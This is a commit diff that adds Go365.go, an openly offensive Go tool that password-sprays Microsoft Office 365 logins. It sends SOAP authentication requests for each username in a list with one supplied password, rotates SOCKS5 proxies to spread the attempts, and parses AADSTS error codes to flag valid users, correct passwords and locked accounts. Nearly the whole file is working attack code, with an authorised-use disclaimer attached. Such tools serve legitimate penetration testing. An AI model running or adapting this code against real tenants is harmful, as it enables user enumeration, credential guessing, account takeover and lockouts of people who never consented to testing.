Initial Upload

Go forth and conquer.

Go365.go

@@ -0,0 +1,355 @@
+/*
+Go365
+
+authors: h0useh3ad, paveway3, S4R1N
+
+license: MIT
+
+Copyright 2020 Optiv Inc.
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+This tool is intended to be used by security professionals that are AUTHORIZED to test the domain targeted by this tool. 
+
+needs:
+- Add a pre-test that enumerates the target domain and determines if it is a viable target for this particular endpoint.
+- Error handling in a few areas.
+	e.g... Setting up proxy (e.g. verify proxy server is up, handle timeouts, etc.)
+- Debug mode output?
+- Output file option should check if a file already exists.
+- When parsing flagUsernameFile, include code that checks if the file exists (and exits if it doesn't), and check the lines to see if they have an "@" symbol (if they do, exit).
+
+wants:
+- Create more functions. So far this tool handles most logic in the main and doTheStuff functions. Might be a more logical way to do this.
+- ...
+*/
+
+package main
+
+import (
+	"bufio"
+	"bytes"
+	"flag"
+	"fmt"
+	"github.com/beevik/etree"
+	"github.com/fatih/color"
+	"golang.org/x/net/proxy"
+	"io/ioutil"
+	"log"
+	"net/http"
+	"os"
+	"strings"
+	"time"
+	"math/rand"
+)
+
+const (
+	version   = "0.1"
+	tool      = "Go365"
+	authors   = "h0useh3ad, paveway3, S4R1N"
+	targetURL = "https://login.microsoftonline.com/rst2.srf" // keep an eye on this url.
+	usage     = ` Usage:
+     ./Go365 -ul <userlist> -p <password> -d <domain> [OPTIONS]
+ Options:
+     -h,            Show this stuff
+
+   Required:
+     -ul <file>             Username list to use
+                              - file should contain one username per line WITHOUT "@domain.com"
+                              (-ul ./usernamelist.txt)
+     -p <string>            Password to attempt
+                              - enclose in single quotes if it contains special characters
+                              (-p password123  OR  -p 'p@s$w0|2d')
+     -d <string>            Domain to test
+                              (-d testdomain.com)
+    
+   Opions:
+     -w <int>              Time to wait between attepmts in seconds. 
+                              - Default: 1 second. 5 seconds recommended.
+                              (-w 10)
+     -o <string>           Output file to write to
+                              - Will overwrite!
+                              (-o ./output.out)
+     -proxy <string>       Single proxy server to use
+                              - IP address and Port separated by a ":"
+                              - Has only been tested using SSH SOCKS5 proxies
+                              (-proxy 127.0.0.1:1080)
+     -proxyfile <string>    A file with a list of proxy servers to use
+                              - IP address and Port separated by a ":" on each line
+                              - Randomly selects a proxy server to use before each request
+                              - Has only been tested using SSH SOCKS5 proxies
+                              (-proxyfile ./proxyfile.txt)
+
+ Examples:
+   ./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
+   ./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
+   ./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt
+   ./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
+   ./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
+`
+	banner = `
+  ██████         ██████   ██████  ██████
+ ██                   ██ ██       ██     
+ ██  ███   ████   █████  ███████  ██████
+ ██    ██ ██  ██      ██ ██    ██      ██
+  ██████   ████  ██████   ██████  ██████
+`
+)
+
+func wait(wt int) {
+	waitTime := time.Duration(wt) * time.Second
+	time.Sleep(waitTime)
+}
+
+func writeOutput(writeFilePath string, writeString string) {
+	f, err := os.OpenFile(writeFilePath, os.O_APPEND|os.O_WRONLY, 0644)
+	l, err := f.WriteString(writeString+"\n")
+	if err != nil {
+	    fmt.Println(err)
+	    f.Close()
+	    return
+	}
+	_ = l
+}
+
+func randomProxy(proxies []string) string {
+	var proxy string
+	if len(proxies) > 0 {
+		proxy = proxies[rand.Intn(len(proxies))]
+	}
+	return proxy
+}
+
+func doTheStuff(un string, pw string, prox string) string {
+	var returnString string
+
+	requestBody := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
+	<S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:wst="http://schemas.xmlsoap.org/ws/2005/02/trust">
+	    <S:Header>
+	    <wsa:Action S:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action>
+	    <wsa:To S:mustUnderstand="1">https://login.microsoftonline.com/rst2.srf</wsa:To>
+	    <ps:AuthInfo xmlns:ps="http://schemas.microsoft.com/LiveID/SoapServices/v1" Id="PPAuthInfo">
+	        <ps:BinaryVersion>5</ps:BinaryVersion>
+	        <ps:HostingApp>Managed IDCRL</ps:HostingApp>
+	    </ps:AuthInfo>
+	    <wsse:Security>
+	    <wsse:UsernameToken wsu:Id="user">
+	        <wsse:Username>`+un+`</wsse:Username>
+	        <wsse:Password>`+pw+`</wsse:Password>
+	    </wsse:UsernameToken>
+	</wsse:Security>
+	    </S:Header>
+	    <S:Body>
+	    <wst:RequestSecurityToken xmlns:wst="http://schemas.xmlsoap.org/ws/2005/02/trust" Id="RST0">
+	        <wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType>
+	        <wsp:AppliesTo>
+	        <wsa:EndpointReference>
+	            <wsa:Address>online.lync.com</wsa:Address>
+	        </wsa:EndpointReference>
+	        </wsp:AppliesTo>
+	        <wsp:PolicyReference URI="MBI"></wsp:PolicyReference>
+	    </wst:RequestSecurityToken>
+	    </S:Body>
+	</S:Envelope>`)
+
+	client := &http.Client{}
+
+	if prox != "" {
+		dialSOCKSProxy, err := proxy.SOCKS5("tcp", prox, nil, proxy.Direct)
+		if err != nil {
+			fmt.Println("Error connecting to proxy.")
+		}
+		tr := &http.Transport{Dial: dialSOCKSProxy.Dial}
+		client = &http.Client{
+    		Transport: tr,
+    		Timeout: 15 * time.Second,
+		}
+	}
+
+	request, err := http.NewRequest("POST", targetURL, bytes.NewBuffer([]byte(requestBody)))
+	request.Header.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)")
+	if err != nil {
+		panic(err)
+	}
+
+	response, err := client.Do(request)
+	if err != nil {
+		panic(err)
+	}
+
+	defer response.Body.Close()
+	body, err := ioutil.ReadAll(response.Body)
+	if err != nil {
+		print(err)
+	}
+
+	xmlResponse := etree.NewDocument()
+	xmlResponse.ReadFromBytes(body)
+
+	x := xmlResponse.FindElement("//psf:text")
+	if x == nil {
+		returnString = color.GreenString("[+] Possible valid login! "+un+" : "+pw)
+		return returnString
+	}
+	t := xmlResponse.FindElement("//psf:text")
+	if strings.Contains(t.Text(), "AADSTS50059") {
+		fmt.Println(color.RedString("[-] Domain not found in o365 directory. Exiting..."))
+		os.Exit(0) // no need to continue if the domain isn't found
+	} else {
+		if strings.Contains(t.Text(), "AADSTS50034") {
+			returnString = color.RedString("[-] User not found: "+un)
+		} else {
+			if strings.Contains(t.Text(), "AADSTS50126") {
+				returnString = color.YellowString("[-] Valid user, but invalid password: "+un)
+			} else {
+				if strings.Contains(t.Text(), "AADSTS50056") {
+					returnString = color.YellowString("[!] User exists, but unable to determine if the password is correct: "+un)
+				} else {
+					if strings.Contains(t.Text(), "AADSTS50053") {
+						returnString = color.MagentaString("[-] Account locked out: "+un)
+					} //need: add an else here as a catch-all that says "unknown error code" or something
+				}
+			}
+		}
+	}
+	return returnString
+}
+
+type flagVars struct {
+	flagHelp			bool
+	flagUsernameFile	string
+	flagDomain			string
+	flagPassword		string
+	flagWaitTime		int
+	flagProxy			string
+	flagProxyFile       string
+	flagOutFilePath		string
+
+}
+
+func flagOptions() *flagVars {
+	flagHelp			:= flag.Bool("h", false, "")
+	flagUsernameFile	:= flag.String("ul", "", "")
+	flagDomain			:= flag.String("d", "", "")
+	flagPassword		:= flag.String("p", "", "")
+	flagWaitTime		:= flag.Int("w", 1, "")
+	flagProxy			:= flag.String("proxy", "", "")
+	flagOutFilePath		:= flag.String("o", "", "")
+	flagProxyFile       := flag.String("proxyfile", "", "")
+
+	flag.Parse()
+
+	return &flagVars {
+		flagHelp: *flagHelp,
+		flagUsernameFile: *flagUsernameFile,
+		flagDomain: *flagDomain,
+		flagPassword: *flagPassword,
+		flagWaitTime: *flagWaitTime,
+		flagProxy: *flagProxy,
+		flagProxyFile: *flagProxyFile,
+		flagOutFilePath: *flagOutFilePath}
+	}
+
+func main() {
+
+	fmt.Println(color.BlueString(banner))
+	fmt.Println(color.RedString(" Version: ") + version)
+	fmt.Println(color.RedString(" Authors: ") + authors + "\n")
+	fmt.Println(" This tool is currently in development.\n")
+
+	var usernameFile string
+	var password string
+	var domain string
+	var outFilePath string
+	var proxyListArray []string
+
+	rand.Seed(time.Now().UnixNano())
+
+	opt := flagOptions()
+
+	//-h
+	if opt.flagHelp {
+		fmt.Printf("%s\n", usage)
+		os.Exit(0)
+	}
+
+	// -ul
+	if !(opt.flagUsernameFile == "") {
+		usernameFile = opt.flagUsernameFile
+	} else {
+		fmt.Printf("%s\n", usage)
+		fmt.Println(color.RedString("Must provide a user list. E.g. -ul ./userlist.txt"))
+		os.Exit(0)
+	}
+
+	// -p
+	if !(opt.flagPassword == "") {
+		password = opt.flagPassword
+	} else {
+		fmt.Printf("%s\n", usage)
+		fmt.Println(color.RedString("Must provide a password to test against the users. E.g. -p 'password123!'"))
+		os.Exit(0)
+	}
+
+	// -d
+	if !(opt.flagDomain == "") {
+		domain = fmt.Sprintf("@"+opt.flagDomain)
+	} else {
+		fmt.Printf("%s\n", usage)
+		fmt.Println(color.RedString("Must provide a domain. E.g. -d testdomain.com"))
+		os.Exit(0)
+	}
+
+	// -proxy
+	if opt.flagProxy != "" {
+		proxyListArray = append(proxyListArray, opt.flagProxy)
+		fmt.Println(color.GreenString("[!] Optional proxy settings configured: "+opt.flagProxy))
+
+	} else if !(opt.flagProxyFile == "") {
+		fmt.Println(color.GreenString("[!] Optional proxy file configured: "+opt.flagProxyFile))
+		proxyList, err := os.Open(opt.flagProxyFile)
+		if err != nil {
+			log.Fatal(err)
+		}
+		defer proxyList.Close()
+		proxies := bufio.NewScanner(proxyList)
+		for proxies.Scan() {
+			proxyListArray = append(proxyListArray, proxies.Text())
+		}
+	}
+
+	// -o
+	if !(opt.flagOutFilePath == "") {
+		outFilePath = opt.flagOutFilePath
+		fmt.Println(color.GreenString("[!] Optional output file configured: "+outFilePath))
+	    f, err := os.Create(outFilePath)
+    	if err != nil {
+        	return
+    	}
+    	_ = f
+	}
+
+	// do the stuff
+	usernameList, err := os.Open(usernameFile)                   //open and load the username file
+	if err != nil {
+		log.Fatal(err)
+	}
+	defer usernameList.Close()                                   //close the username file
+	usernames := bufio.NewScanner(usernameList)
+	for usernames.Scan() {                                       //iterate through the usernames
+		user := usernames.Text() + domain
+		result := doTheStuff(user, password, randomProxy(proxyListArray))
+		if !(outFilePath == "") {
+			writeOutput(outFilePath, result)
+		}
+		fmt.Println(result)
+		wait(opt.flagWaitTime)
+	}
+	if err := usernames.Err(); err != nil {
+		log.Fatal(err)
+	}
+	if !(outFilePath == "") {
+		fmt.Println(color.GreenString("[!] Output file located at: "+outFilePath))
+	}
+	os.Exit(0)
+}